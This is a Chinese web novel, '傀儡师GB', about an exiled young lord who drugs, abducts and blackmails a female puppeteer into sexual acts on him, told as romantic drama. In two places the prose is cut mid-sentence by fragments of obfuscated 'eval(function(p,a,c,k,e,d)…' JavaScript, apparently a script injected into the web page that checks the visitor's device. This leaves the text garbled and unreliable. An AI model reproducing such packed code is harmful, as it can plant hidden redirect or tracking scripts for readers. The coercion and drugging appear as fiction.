《傀儡师GB》 1. 傀儡师 明杳没想过自己还会回到这里。 此地群山环绕,易守难攻,是各方势力觊觎却始终只能望而却步的天险要道。 他抬起疲惫的眼,看向前方那座屹立在暮色中的城郭。 西岭城。 七年前他来过这里,为避华京那场纷争,勉强将此地当做一个临时的避难所。 如今华京换天,父亲下狱,明家抄没,他倒真的需要这里作为活命的庇护所了。 不远处,城门口站着守卫。 守卫? 七年前,这三不管之地哪有什么正经守卫?不过是些本地帮派的壮丁轮流值守,收些过路费罢了。 如今这些守卫着统一暗青色短打,腰间佩刀,目光锐利地扫视着进出的行人。 “什么人?从哪来?”守卫拦下他。 明杳略挺了挺背脊:“在下白瑜,七年前曾在此置宅。西街槐树巷第三户。”权宜之下,他仍用的当年那假名。 守卫对视一眼,其中年长的那位眉头微皱:“槐树巷第三户?那是城主的私产。” “城主?”明杳愣住,“此地何时有城主了?” “三年前就有了。”守卫打量着他,“你说的若是真的,需得去城主府请示。不过近日城主府不见外客。” 明杳心头一沉:“为何?” 守卫瞥他一眼,语焉不详:“城外不太平,城主有令,无凭证者不得擅入。你有何凭证证明那宅子是你的?” 凭证?早在那场抄家中化为灰烬。明杳苦笑,这乱世之中,一纸地契竟比人命还要稀罕。 “我……”他刚要开口,远处忽然传来一阵急促的马蹄声。 守卫们立刻肃立,街道上的行人纷纷让道。一队人马从城门内驰出,为首者黑袍银甲,坐骑是一匹通体乌黑的骏马。 那人戴着遮面的斗笠,看不清面容,但身姿挺拔如松。 经过时,一阵风掀起斗笠下的薄纱。 明杳瞥见一双眼睛,冷淡如冬日的深潭。 他慌乱垂下眼帘,便见到那双紧握缰绳的手——修长、明晰,腕骨处束着玄色腕带,衬得指节愈显清瘦有力。 缰绳在她掌中绷紧,那姿态不像握缰,倒像执刃。 只一刹那,手与眼皆掠过他视线。 他僵在原地。 那双眼,他认得。 那双手……他更忘不了。 即便七年过去,即便她如今一身凛然,再无当初半分隐忍模样,即便他回京后自以为早已将那段荒唐抛却…… 可再见,他仍是一眼认出,是她。 邵琉光。 . 七年前,也是这个时节,春末夏初。 身在华京需步步为营。明杳一时疏忽,便遭人陷害背上了命债,为暂避风头,他被父亲打发到这个三不管的法外之地。 西岭城不比京都繁华,却也别有山野之趣。只是逛遍了山野,明杳才发现此地商铺多是吃喝一类,鲜有如歌舞坊、明春苑的场合。 他闲得发慌,便常去城西的茶馆听书。 那日说书人正讲《傀儡奇谭》,说的是前朝一位傀儡师能以丝线操控人心,终成一代枭雄的故事。 “要我说啊,咱们西岭如今就有一位傀儡师,虽不至于操控人心,但那手艺……”说书人啧啧两声,“可是能叫木偶活过来的!” 台下有人起哄:“老张头,你说的是邵家那丫头吧?” “正是邵姑娘!” 接下来的话题,便是那位邵姑娘出神入化的傀儡戏法。 明杳百无聊赖地听着。 傀儡师?他只在华京的年节庙会上,见过那些粗陋的木偶戏,翻来覆去不过那几个老掉牙的故事。 隔日,他仍是无所事事,想起昨日的闲谈,便踱去了城中唯一的梨园。 台上演的正是傀儡戏。 出乎意料的是,那些木偶竟真像被赋予了魂灵。书生挥袖提笔,武将策马扬鞭,一举一动,果真活灵活现。台下看客屏息凝神,不时爆出惊叹。 明杳起初也觉新鲜,但不过半柱香的功夫,那股子新奇便褪了。 手法再妙,终究是死物。 他悄然起身,从侧门踱出,想寻个清静处透口气。侧门外是条窄廊,连接着后台。 一阵风过,撩起了深红色幕布的边角。 明杳的目光逐风而去。 幕布之后,灯火半明半晦。 一道清瘦高挑的身影立在凌乱的戏箱与道具之间,正垂首操控着手中的傀儡。吸引他目光的,首先是那双手。 一双正在操控丝线的手。 十指修长得过分,骨节清晰却不嶙峋,指节灵活收放,游丝般的细线在指间驯顺得如臂使指。 光影流转间,还能看清指腹与虎口处覆着一层均匀的薄茧。 明杳的视线像是被那双手钉住了。 他看了许久,才缓缓上移,看向手的主人。 是个年轻女子,侧脸对着他。 鼻梁挺直,唇色偏淡,不施脂粉的脸在昏黄光线下宛如一块无瑕的冷玉。 她神情很淡,几乎没有什么波动,唯独嘴角噙着一丝因沉浸其中而无意识扬起的细微弧度。 她的目光紧紧追随着手中傀儡的动作,眼睫偶尔轻颤,仿佛正透过那些没有生命的木偶,经历着另一重悲欢离合。 明杳倚在门边,静静看着。 在华京,他是要风得风要雨得雨的明大少爷,见过太多阿谀奉承、权利诱惑,却从未有一刻,像现在这般,被一双手,如此直接而蛮横地攫住心神。 一瞬之间,一个清晰无比的念头,猛然撞进他心底。 他要她。 这双手,这个人,他要据为己有。 一场戏罢,明杳赶在对方退场前起身走到她桌前。 “姑娘这傀儡,卖吗?” 邵琉光头也不抬:“不卖。” “我出高价。” “不卖。” “那可否请姑娘为我定制一个?” 邵琉光终于抬眼,打量他一番,目光在他锦衣华服上停留片刻,声音平淡:“我的傀儡,只赠不卖。公子若非本地人,便请回吧。” 话罢,她提起自己的箱子,转身离开。梨园外,几个原本在闲谈的壮汉见她出来,纷纷站直身子,恭敬地点头致意。 明杳目送她离开,摇了摇扇子,眼中兴味渐起。 . 不到两日,随从书梁便查清了邵琉光的底细,正向明杳恭敬禀报。 邵家在西岭的确有些地位。其父母曾是江湖中人,退隐后于此定居,因武艺高强、为人仗义,很得当地人敬重。 两年前二人意外身亡,留下独女邵琉光继承家业。不光是那间傀儡铺子,还有邵家在本地的威望。 “傀儡铺只是幌子,”书梁道,“实则城中许多大小事务,乃至邻近村落的纠纷,常需请邵姑娘出面调停。十里八乡都要给她几分面子。她身边……似乎也聚着些有真本事的人。” “哦?这三不管的法外之地,倒养出了一位无冕之主?”明杳把玩着折扇,心中有了计较。 当日下午,他换了身料子顶好却不过分张扬的衣袍,亲自去了邵家铺子。 铺子不大,满墙挂着各式傀儡,有孩童玩偶,也有工艺复杂的戏偶。邵琉光正在后院打磨木料,见他进来,眉头微微一皱。 “邵姑娘,”明杳笑吟吟地,“叨扰了。” 邵琉光拍了拍手上的木尘,语气疏淡:“我与公子无缘,傀儡不赠外人。公子还是另寻高明吧。” 邵琉光并非不通情理之人,只是这个男人给她的感觉,让她直觉到某种危险的信号。 “才见两面,姑娘怎就断定无缘?”明杳不退反进,略一拱手,姿态诚挚,“实不相瞒,白某此番前来,并非为了求购傀儡,而是真心仰慕姑娘巧艺,想拜师学些皮毛。” 邵琉光闻言,后退了半步,拉开距离:“那就更不必提了。此技不传外人,公子请回。”说罢,不再给他开口的机会,转身便进了内室。 明杳碰了个不软不硬的钉子,却未气馁,反觉兴味更浓。 此后数日,他寻着各种由头前往铺子,名为观赏傀儡,实则 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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明杳定了定神,压下心头杂念,索性换了一副神情,那点子伪装出来的温和尽数褪去,语气里带上了几分强硬:“没什么。邵姑娘,我再问你一次,今夜可否来我府上一叙?” 邵琉光停了手,抬眸看他,眼神如冰:“公子,请回。” “当真不行?”明杳向前一步,声音压低,“你若应允,荣华富贵,锦衣玉食,我皆可许你……” 话音未落,只听“夺”的一声闷响。 邵琉光手中那柄刻刀已脱手飞出,稳稳钉入明杳身前半步之遥的木桩上,入木极深,刀柄犹自微微颤动。 她未曾挪动一下位置,只是眼神彻底冷了下来,如覆寒霜。 明杳呼吸一滞,看着那深深没入木中的刻刀,心头猛地一跳。 他最终什么也没再说,转身离开了铺子。 走出老远,才对书梁悻悻道:“性子这般烈……” 顿了顿,眼底却掠过一丝更浓的兴味,“不过,我喜欢。” 他走后不久,几个身材魁梧的汉子便进了邵家后院。 为首一人看着那柄钉在木桩上的刻刀,皱眉道:“老大,那外乡来的公子哥纠缠你多日了,兄弟们看得都窝火,要不要……给他点教训?” 另一人也道:“是啊,瞧他那眼神就不对劲,几次三番被拒,怕是会生事端。不如我们先……” “不必。”邵琉光重新拿起一块木料端详,“这种来避风头的纨绔,少惹为妙,省得沾了一身腥臊。他图个新鲜,劲头过了,自然消停。若真敢妄动……”她指尖轻轻划过木料,没有说下去,但那未尽的意味,让几个汉子都闭了嘴。 “是,老大的身手咱们自然放心,只是还需小心些。”几人抱拳,退了出去。 离开院子,几人低声交谈。 “奇了,老大这次脾气怎这般好?上次城东那个泼皮不过是言语调戏两句,当天就被揍得爬着出去。” “许是顾忌那小子背后的势力?听说来头不小,怕给咱们西岭惹麻烦?” 议论声渐远。 谁也没想到,就在当夜,月黑风高之时,邵琉光在自家后院闻到一丝极淡的甜香,意识便骤然沉入无边黑暗。 待她再度恢复些许知觉,只觉身下颠簸,似在马车上,口不能言,身不能动。 一刻钟后,她便被推进一个弥漫着昂贵熏香气息的地方。 2. 交易 邵琉光彻底恢复意识。 她的手腕被软布束缚,遮眼的布帛不算厚重,光线能透入些许,勾勒出前方一个模糊修长的人影轮廓。 她目光透过布帛紧盯着那抹人影,语气带着点克制的诧异:“是你。” 前方人影动作一顿,随即传来一声低笑:“这么快就猜到了,真聪明。” 脚步声不疾不徐地靠近,下一刻,遮眼的布被摘去。 骤然出现的光线让邵琉光眯了眯眼,随即她看清了那张脸。 烛火映照下,这张曾让她觉得尚可入目的俊朗面孔,此刻嘴角噙着的那抹笑,只让她感到一种居高临下、自以为掌控一切的轻浮与恶意。 邵琉光心中杀意暗涌。 若他敢越雷池一步…… 明杳似乎很欣赏她眼中凛冽的寒光,笑意更深了些,转身从桌上端过一盏温茶。 “既然猜中了,该赏你点什么好呢?”他自语般说着,俯身靠近,一只手捏住她的下颌,将杯沿抵上她的唇。 “疯子。”邵琉光偏头欲躲,却被牢牢固定,茶水强行灌入喉中,她呛了一下,狠狠盯住他,“你若敢对我做什么,我必杀你。” 明杳松开手,指腹不甚在意地擦去她唇角的水渍,语气堪称温和:“只是想与邵姑娘交个朋友罢了。放心,我不会对你做什么。” 他顿了顿,欣赏着她愈加冰冷的脸色,“一点软筋散,让你我都安心。现在,可以给你松绑了。” 束缚手腕的软布被解开,邵琉光瞬间积蓄起全身残存的气力,一掌朝他心口推去! 然而,手掌触到他衣料时,力道却软绵绵地消散了。 明杳顺势握住她推来的手腕,指尖在她微微绷起的手背骨节上摩挲了一下,才松开,退后两步,好整以暇地看着她。 “我只是想与你谈一笔交易。” “绑我来此,下药胁迫,”邵琉光活动着酸麻的手腕,“这可不像是公平正当的交易。” 明杳沉默了片刻,道:“我听说,邵姑娘身边有个叫小柒的丫头,老家在江北?如今江北赤地千里,饿殍遍野,她还有个缠绵病榻的老娘……” 邵琉光瞳孔骤缩,凌厉的目光如刀锋般剐向他。 明杳恍若未见,继续慢条斯理道:“还听说,姑娘与西岭父老情深义重,尤其是……城东的王铁匠曾以心血为你父亲铸剑,情同莫逆。可惜他上月失手打伤了个外乡人,那外乡人…似乎有点来头。” “够了。”邵琉光打断他,“你到底想做什么?” 明杳转身,从一旁的矮几上取来一本薄薄册子,塞进她的怀里。 “我要你,” 他靠近她耳边,气息拂过她的鬓发,声音低而清晰。 “学会这上面画的……所有技法。” 邵琉光低头,就着烛光展开册页。只一眼,她呼吸便是一窒。这并非寻常的图册,描绘的虽是男子身体,行事的另一方却是女子。姿态、手法、用具……笔触精细甚至堪称考究,却勾勒出她闻所未闻,惊世骇俗的景象。 她猛地抬眸,眼中震惊与荒谬混乱交织,最终化为一丝冰冷的讥诮:“公子……真是好特殊的癖好。” 明杳的脸色微微沉了一瞬,随即又被他用惯常的轻佻掩盖:“你只需回答,应,还是不应?” “若我不应呢?” “那王铁匠恐怕难逃一场人命官司。至于小柒的老娘……”他轻轻掸了掸袖口并不存在的灰尘,“能不能熬过这个苦夏,就难说了。” 室内陷入死寂,邵琉光垂眸看着手中那本荒唐的册子,良久,她抬起眼,问:“为什么是我?” “自然也可以不是你。”明杳背着手,踱开两步,“只是白某初来乍到,尚未遇见比你更合眼缘的。”他转身,目光落在她脸上,又滑向她搁在膝上的手,“你就当是我一时兴之所至。不碰你身子,只借你手艺一用。几日便好。” 邵琉光:“……” “你就当这是一场交易,我们各取所需。”他再次走近,俯身不由分说地握住她一只手,捏了捏她的指节,像在评估一件器物的质感。 “好好学。明日此时,我来看你功课。” 门扉开合,落锁声传来。 邵琉光独自坐在铺着柔软锦垫的榻上,缓缓收紧了手指。 . 次日,夜深人静。 书梁终究没忍住,在明杳准备踏入那间厢房时,低声开口:“公子,属下有一事不解。” 明杳停下脚步,侧过脸,月光在他轮廓分明的侧脸上投下阴影。 “说。” “为何非得是邵姑娘?”书梁措辞谨慎,“她在此地颇有根基,咱们能关得住她一时,却难长久。况且,她明显……心不甘情不愿。若是闹大了,被老爷知晓,又该如何是好?公子在京都,什么样的绝色佳人不可得,何苦在这边陲之地,强逼一个浑身带刺的?” 明杳沉默片刻,目光投向紧闭的房门,声音有些飘忽:“我不会对她做什么。” “那您将她拘在此处……”书梁实在不解。 “放心吧。”明杳打断他,语气里带着点坚持,又仿佛在说服自己,“若她当真宁死不从,我不会……我自有分寸。” 明杳有一个秘密。 一个深埋心底,腐烂又蓬勃的秘密。 自年少懵懂时起,他便知晓自己与旁人不同。他无法从寻常男子的征服与占有中获得快慰,反而在某些梦境里,沉溺于被拥抱、被主导、甚至被疼爱的幻想。 他曾惶恐地怀疑自己是否好男风,可对那些清秀少年,他亦无感。 这种渴望像一条毒蛇,盘踞在他心底。在华京那个人人带着面具,步步惊心的名利场里,他连一丝异样的气息都不敢泄露。 但是在这里,在西岭……天高皇帝远,无人识得真正的明杳。 他可以…… 是的,他可以。 这念头一破土,便疯狂滋长。 他为何不能,哪怕只有一次,放纵自己沉入那黑暗甜美的深渊。 这个秘密,他连最亲近的书梁,也未曾透露半分。 明杳屏退了所有护卫,独自推开房门。 屋内光线昏暗。 桌上的晚膳几乎未动,早已凉透。他一眼便看见邵琉光靠在最远的角落,闭着眼,仿佛入睡,但他知道她醒着。 他没说话,只走过去,将几盏过于明亮的烛火熄灭,独留下床边一盏,光线顿时晦暗下来。 然后,他脱去外袍,只着素白中衣,躺在了那张宽敞的床榻上,锦被柔软,却让他身体僵硬。 “你准备好了吗?”他声音有些干涩。 角落的人毫无动静。 明杳深吸一口气,放低了姿态:“你过来……行吗?” 邵琉光缓缓睁开眼,眸色在昏暗中深不见底。她声音冷静无波:“我此刻并未中药,袖中还有一把刀。” “……我知道。”明杳喉结滚动了一下,“我只是在与你做一笔交易。” 见对方依旧无动于衷,他试图拿出筹码:“你应当明白,我能安然进入西岭,并在此立足,背后自有依仗。若你应允,我可动用我的关系,帮你解决那些……凭你一己之力难以解决之事。” 邵琉光眸色微动。她确实有棘手之事,盘根错节,非强力外力难以破除。 她的视线掠过明杳俊美却略显苍白的脸,此刻那脸上没有令人厌恶的轻浮,反而有种强撑着的脆弱平静,竟让她觉得,没那么可恨了。 “我不会在此地久留,”明杳侧过脸,避开她审视的目光,“你就当……当我是你手中的一具傀儡。你是傀儡师,只需……掌控好你的偶人即可。” 他顿了顿,终究还是补上了无法避免的威胁,却显得色厉内荏,“若实在不愿……你现在便可离开。只是今夜之事,天知地知,你知我知。若有第三人知晓,我纵使倾尽全力,也要西岭不得安宁。” 邵琉光沉默了。 利弊在心头飞速权衡。 屈辱吗?当然,这实在是离经叛道,惊世骇俗,荒谬绝伦,不可理喻。 但,若真如他所言 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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骤然拉近的距离,让邵琉光清晰地看到他脸上强装镇定下深藏的紧张,以及因她靠近而不自觉轻颤的唇。 邵琉光心底闪过一丝微妙又荒唐的震颤。 她抿紧唇,顺着他的引导,手下蓦然用力。 “呃!”明杳闷哼一声,剧痛夹杂着陌生的刺激席卷而来,他身体本能地做出反应,一脚踹在了邵琉光腰侧。 邵琉光被踹得跌坐在地,愣了愣,下意识看向自己的手,刚刚那种奇怪的陌生的诡异的感觉……实在……太过荒谬了! “愣着做什么?”床上传来明杳咬牙切齿又带着难堪喘息的声音,“滚上来!” 长夜,这才真正开始。 某一刻,邵琉光的意识恍惚地飘远。 她想起自己初学傀儡戏的时候。 爹娘带她看的第一场傀儡戏,演的是一出爱别离的悲剧。 木偶在艺人手中栩栩如生,演绎着求不得、怨憎会。她当时看得涕泗横流,心里涨满了不甘。 为何傀儡的命运只能被线牵着走向悲伤?她想改变它。 于是她开始学。 削木料割伤手,缠丝线勒出血痕,练习指法到关节酸痛。 很难,很苦。 但爹娘总鼓励她,她也渐渐发现自己在指尖操控上的天赋。 日复一日,她手中的木偶终于能随心而动,仿佛被注入了魂灵。人人都夸她的傀儡活灵活现,像是有了自己的悲喜。 直到有一日,一个陌生又好看的少年越过傀儡,径直走到她面前,灼灼目光落在她布满薄茧的手上,赞叹道:“你的手真巧。” 然后,那少年伸出手,紧紧握住了她的手腕,掌心滚烫…… 邵琉光猛地惊醒。 窗外天光已是大亮,室内寂静无声。 她独自躺在凌乱的床榻上,身边空空如也,只余下空气中尚未散尽的陌生气息,证明昨夜并非一场荒诞梦境。 那个如同精致傀儡般任她施为,又会在极度刺激时露出脆弱颤栗的男人,已然消失无踪。 3. 技术高超 邵琉光披上衣袍,系紧腰带,走向房门。房门依旧被从外反锁。她用力拉了拉,门栓发出沉闷的声响。 这动静立刻惊动了院子里的人。 脚步声靠近,停在门外,明杳的声音带着一丝刚睡醒的慵懒:“你醒了?饿吗?我让厨房熬了粥。” 邵琉光没有回应,只从门缝间看到一片月白衣角,以及偶尔低垂时闪过的眼睫。 “放我走。”她冷硬开口,“今日我有事。” 门外静了一瞬,随即传来钥匙插入锁孔的轻微咔哒声。 “嗯。”他应着,语气听不出情绪,“吃了再走。” 就在门锁落下的刹那,邵琉光猛地将门拉开。一道寒光闪过,她袖中滑出的短刀已抵在了明杳的脖颈上,刀锋紧贴着他微微起伏的喉结。 远处原本看似散漫的护卫瞬间绷紧,手按刀柄,蓄势待发。 冰冷的刀锋贴着皮肤,明杳却低低笑了起来。 “我若死了,倒不打紧。”他抬眼,不疾不徐地补充,“只是我这些忠心的护卫,怕是不会善罢甘休,要让西岭城陪我殉葬……邵姑娘,你确定要试试吗?” “你到底还想怎样?”邵琉光实在不明白,这位举止惊世骇俗的大少爷到底要做什么。 明杳微微偏头,笑容里带着点遗憾和理所当然:“昨夜……未尽兴。你学得,实在算不得好。” “既如此,公子还是另寻高明吧。我与白公子无缘,更不会再为你驱使。” 说罢,邵琉光收刀后退半步,径直转身,快步穿过庭院。 明杳靠在门框上,看着她远去的背影,抬手轻轻抹过颈侧,指尖沾了一抹殷红,他唇角的笑意更深,朝着向邵琉光紧张靠拢的护卫随意挥了挥手:“让她走。” 邵琉光回到自己的小院,关上门,背靠着门板深深吸了口气。 晨间的冷意让她混乱的头脑清醒了些许,但某些不合时宜的画面和声音却反复闪现。 她用力甩了甩头,当务之急是收拾好去梨园的箱笼。她走向平日存放傀儡的木架,架上却空空如也。她那些精心制作,视若珍宝的傀儡娃娃,全都不见了! 无需多想,就知道是谁干的。 一股怒火直冲头顶,但旋即被她强行压下。 现在不是立刻去兴师问罪的时候。这个自称“白公子”的外乡纨绔,其手段和势力显然远超她最初的预估。 能神不知鬼不觉将她掳走两日,且未在西岭掀起任何波澜,势力不容小觑。这两日,也不知长啸他们是否来找过她,外间又是什么情形。 她唤来邻家孩童,给了几个铜板,让其去梨园给张老板捎信,只说今日家中有急事,戏目暂停。打发走孩童,她独自坐在冷清的堂屋里,看着空荡荡的木架,心绪烦乱。 她实在不愿立刻去面对那张可能写满得意与算计的脸。 半个时辰后,担忧终究压过了心头的不忿与羞恼。那些不仅仅是木偶,更是她的心血,是她与父母共度的记忆。 她起身,跨出了院门。 刚拐过街角,便看见了那个颀长的身影。 明杳刚从一家早点铺子出来,手中还拿着个油纸包。见到她,他脸上没有丝毫意外,反而极其自然地迎了上来,仿佛昨日种种胁迫与今晨的刀锋相向都未曾发生。 “吃早饭了吗?”他语气熟稔得像老友寒暄。 邵琉光停下脚步,面无表情:“我的东西……” “好着呢。”明杳打断她,“先陪我逛逛。” 话音未落,他已极其自然地伸出手,握住了她的手腕。 邵琉光一愣,立刻便要抽回。明杳却借着靠近的姿势,微微俯身,用只有两人能听见的声音低语:“我思来想去,你昨夜那般……或许是因为对我无半分情意……今日我恰好得空,我们……培养一下。” 谁要同你培养这种鬼感情?!邵琉光心头火起。 明杳察觉了她的杀意,指尖在她腕间脉搏处轻轻一点,低笑道:“也就半日。你的那些宝贝,我请了城中最好的手艺人正在清理养护,保证今晚不仅完璧归赵,还能焕然一新。” 说到手艺人,邵琉光想起什么,道:“西岭城中能人异士颇多,白公子财大气粗,不如另寻一位与公子两情相悦的,方得趣味。”最后几个字,几乎是从牙缝中挤出。 明杳凝视着她,忽然轻轻叹了口气:“可我此刻,偏偏只对你这一双手,这个人……感兴趣。眼里,再容不下旁人了。” “你为何非要强人所难?” “全是难吗?”明杳反问,目光在她唇上停留一瞬,“我看你昨夜后来……也并非全无……” “住口!”邵琉光厉声打断,眼中寒意骤升,“你几番相逼,当真以为我不会杀你?” “抱歉。”明杳从善如流地松开了些许力道,退开半步距离,脸上重新挂起那副令人生厌的仿佛一切尽在掌握的浅笑,“不如这样,你仍当这是一笔交易。我帮你解决一件你棘手的难事,你便多陪我一日。这西岭城中,让邵姑娘你束手无策,却又关乎乡邻福祉的麻烦……想必不止一两件吧?” 他微微倾身,笑容里带着洞悉和引诱:“邵姑娘女承父志,既有守护一方之心,何不好好利用一下我这个……人傻钱多,又恰好对你有些兴趣的外乡冤大头呢?” 邵琉光目光锐利地看向他。 他竟然调查她,做到这个份上…… 明杳笑得可恶,话语更是直白得近乎无耻,却偏偏戳中了她心中最在意的软肋。那些盘踞在西岭,她独自挣扎许久却难以撼动的阴影…… 邵琉光暗暗深吸一口气,默念小不忍则乱大谋。 罢了,不过是将操控傀儡的技艺,施展在一个……特殊的,活生生的“物件”上。本质上,并无不同。 见她沉默不语,抗拒的姿态也明显软化,明杳心下了然,再次牵起她的手,这次只是虚虚握着她的手腕,带着她走向旁边一家面铺。 “老板,两碗馄饨。”他扬声吩咐,然后按着她坐下,自己坐在对面,将那油纸包着的包子推到她面前,“趁热吃。” 邵琉光抬眸看了他一眼。 收敛了那些刻意为之的轻浮与强势,他的侧脸在晨光中显得轮廓分明,眉眼低垂时,竟显出几分罕见的沉静。 如果不去想那些令人恼火的纠缠与胁迫,单看这张脸……倒也不算讨厌。 可邵琉光深知,面前这个看似光鲜的富家少爷背地是怎样一副面孔,她始终不太自在,勉强咽了几口馄饨,就放下勺子。 “那本册子你是从何处得来?” 明杳坦然道:“我自己画的。” 邵琉光一怔。 明杳观察着她的表情,唇角那点惯常的笑意淡了些:“你会不会觉得……我很奇怪?离经叛道,甚至……不堪入目?” 邵琉光沉默少顷,如实道:“一开始,确实觉得惊世骇俗。但你来自外乡,或许外界风物本就与边城不同。世界之大,无奇不有,便也不觉奇怪了。” 这话半是真言,半是试探。她想知道的,是他这份特殊背后,是否藏着更多可堪利用的秘密。 明杳看了她一会儿,忽然轻轻笑了:“撒谎。”却也没再追问,只低头继续吃那碗快凉了的馄饨。 饭后,邵琉光以有要事为由先行离开了。 明杳刚回到府上,书梁也从驿站回来,手中捧着一个檀木箱子和一封信。 “少爷,华京来的,老爷亲笔。” 明杳接过,拆开快速浏览,面上的轻松渐渐淡去。 “老爷说,京中的事比预想的棘手,还需些时日周旋。让少爷您安心再住上一段。”书梁将檀木箱子放在桌上,“这是老爷提前给您备下的生辰礼。说待您回去,再补行冠礼。只是今年这生辰……怕是只有属下陪您过了。” 明杳的目光落在那箱子上,良久,扯了扯嘴角,眼底却没什么笑意。 他打开箱子,里面有几套质料上乘、做工精细的男装,颜色雅致清贵。他翻拣了几下,拎出两件比在身上,问书梁:“哪件更衬我?” “少爷您穿什么都好看。这件雨过天青色的显俊逸,这件竹月色绣银纹的更显贵气……”书梁犹豫了一下,忍不住问,“少爷,您这般用心,该不会是预备穿去给邵姑娘看吧?” 明杳不答,只将两件衣服都拿在手中比划。 作为明杳的贴身侍从,书梁自知责任重大,不得不提醒:“可邵姑娘她……她对您似乎并无此意。少爷,强扭的瓜不甜,您这般终究是徒劳。再说了,即便两情相悦,您也不可能带她回京都啊,我听说邵家……邵姑娘好像不能离开西岭。” 明杳瞥了书梁一眼,语气听不出喜怒:“我现在没想那么远。” 他不过是趁着天高皇帝远,想任性放纵一把,至于以后的事,不想,也懒得想。 入夜,明杳换上新衣。 竹月色绸料在烛火下流光溢彩,银线暗纹随着动作若隐若现,确将他衬得越发清贵逼人。 他在房中踱了几步,又坐回窗边,如此循环往复。约定的人迟迟未到。 起初的期待渐渐被烦躁取代。他起身,披了件外袍走到院门口,吩咐守在一旁的下人: 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就在此时,明杳骤然抬手握住她手腕,引着她的手贴在自己微微起伏的胸膛上,绸料之下,是他温热的肌肤和略快的心跳。 邵琉光手一僵,抬眸看他:“干什么?” 明杳看着她近在咫尺依旧冷静的眼,喉结动了动,声音有些发涩:“……你登台前,难道不需要先跟你的傀儡……沟通一下感情?”他试图让语气带上点惯有的调笑,却不太成功。 “你不一样。”邵琉光想抽回手,却被他握得更紧,“不必这么麻烦。” “哪里不一样?”明杳忽然用力,将她往自己身上一扯,邵琉光猝不及防,被他拉得踉跄一下,险些扑倒在他身上。她立刻用手撑住榻沿,稳住身形,眼中已带了恼意。 明杳却在她发作前,抢先开口:“就当最后一次吧。听我的,依着我点……行不行?” 邵琉光蹙眉,没应声。 明杳松开她的手,身体向后靠去,微微阖眼,叹了口气:“今夜过后,我另寻他人。”他顿了顿,自嘲般低语,“强扭的瓜终究不甜。我还是……喜欢甜瓜。” 听到他明确表示另寻他人,邵琉光心下一松。 只要过了今夜…… 也就一夜而已…… “来吧。”明杳重新睁开眼,眼底那些复杂的情绪被他尽数掩去,又恢复了那点玩世不恭,“让我看看……西岭第一傀儡师真正的手艺。” …… 压抑的喘息声在她耳畔响起,起初细碎,随着她指尖的动作逐渐变得沉重凌乱。 她能感受到那具紧绷而温热的躯体在她手下颤抖绷直,又无力地松懈。 声音与触感、透过掌心传递而来的战栗与失控,像细密的小针,扎在邵琉光原本平静无波的心湖上。 烛火晦暗,看不分明。 她凝视着眼前人迷离的眉眼,忽然感到莫名的焦躁,一种陌生的、毛茸茸的热意从耳根蔓延开来,心跳也不受控制地快了几拍。 与操控傀儡线截然不同的是,手下这具傀儡,似乎试图反过来牵制她的情绪。 意识到这点后,邵琉光心头那股无名火陡然窜起,下意识用空着的那只手捂住了他的嘴。 “唔……!”声音被阻隔,却变得更加模糊而暧昧,湿热的呼吸喷在她掌心。 邵琉光像是被烫到般倏然收回手,指尖蜷缩,喉头干得发紧。她忍无可忍,压低的声音带着几分沙哑:“你能不能闭嘴。” 明杳闻言,勉强睁开湿漉漉的眼,茫然地“啊?”了一声。他试着屏息,却立刻被体内翻涌的快感击溃,只能断断续续地辩解:“抱歉……这实在是……有些强人所难……打扰…到你了?” 他胡乱伸出手,摸索着触到她的脸颊,指尖触到一片湿腻的汗意。 “唔…你都流汗了。”他喃喃道,不知是陈述还是别的什么。 邵琉光:“……” 明杳低低笑了一声:“那……你把耳朵堵住吧……我实在是…忍不住了。”最后几个字几乎是从齿缝中逸出,带着浓重的鼻音。 邵琉光脸热得厉害。 幸亏灯光晦暗,看不清他,也看不清她涨红的脸。 她试图让自己意识分离,只将眼前人当做一具傀儡娃娃,可那控着娃娃的丝线,反过来,也牵制着她。 她无法完全剥离。 她不受控地被影响。 直至明杳发出一声喟叹。 “邵姑娘果真……技艺……高超……” 4. 讨赏 邵琉光从白府后门离开时,天刚破晓。 她步履极快,一心只想将那座府邸那个人以及这几日荒唐,远远抛在身后。 刚转过巷口,一个身影拦在了前方。 她认得,这是那人身边的随从。 书梁手中托着一个信封,微微躬身,语气恭敬:“邵姑娘留步。我家公子…多谢姑娘这几日的陪伴。他说,日后不会再如此叨扰姑娘了。” 邵琉光脚步未停。 书梁紧跟着,将信封递到她身侧,压低声音继续道:“但公子也说了,与姑娘的交易……一直有效。姑娘若有所需,随时可来。以物换物,两不相欠。” 邵琉光终于停下了脚步。 她没有接信,只是侧过脸,冰冷的眸光在书梁面上刮过,然后落在那信封上。 信封上寥寥数字,行书笔锋带着几分字随主人的张扬。 她依旧没有伸手。 书梁也不坚持,将信轻轻放在了巷边一块略干净的石墩上,再次躬身,随即迅速消失在街巷转角。 巷子里重归寂静。 邵琉光垂眼,盯着那封信看了片刻。一阵风来,将信封吹落在地。她没捡再多看一眼,任由信纸被地面污渍浸透。 她转身离去。 之后数日,明杳果然没有再出现在她面前,也没有任何突兀的邀约。 西岭城似乎恢复了往日的节奏,邵琉光紧绷的心弦也稍稍松缓下来,只当那是一场终于醒来的噩梦。 这日梨园有她的场次。 她早早到了后台,对镜整理傀儡的丝线与衣饰,就在她即将上台前,无意中透过幕布的缝隙向外一瞥…… 那个数日未见的身影,赫然坐在前排视野最佳的位置。 他今日穿了一身雨过天青色的锦袍,玉冠束发,侧脸在园内不甚明亮的光线下显得轮廓清俊,与周围寻常看客格格不入。 此刻,他微微侧头,与邻座一位年轻儒生低声交谈,嘴角噙着得体的浅笑,风度翩翩。 邵琉光的心猛地一沉,脸色瞬间冷了下来。 他又想干什么? 仿佛察觉到她的注视,明杳忽地转过脸,目光穿过人群,落在了幕布缝隙后她的脸上。 四目相对,他眼中掠过一丝讶然,随即化为毫不掩饰的笑意,甚至抬起手,朝她这个方向轻轻地挥了一下。 邵琉光立刻撇过头,用力拉紧了幕布,将那道视线隔绝在外。 心头无名火起。 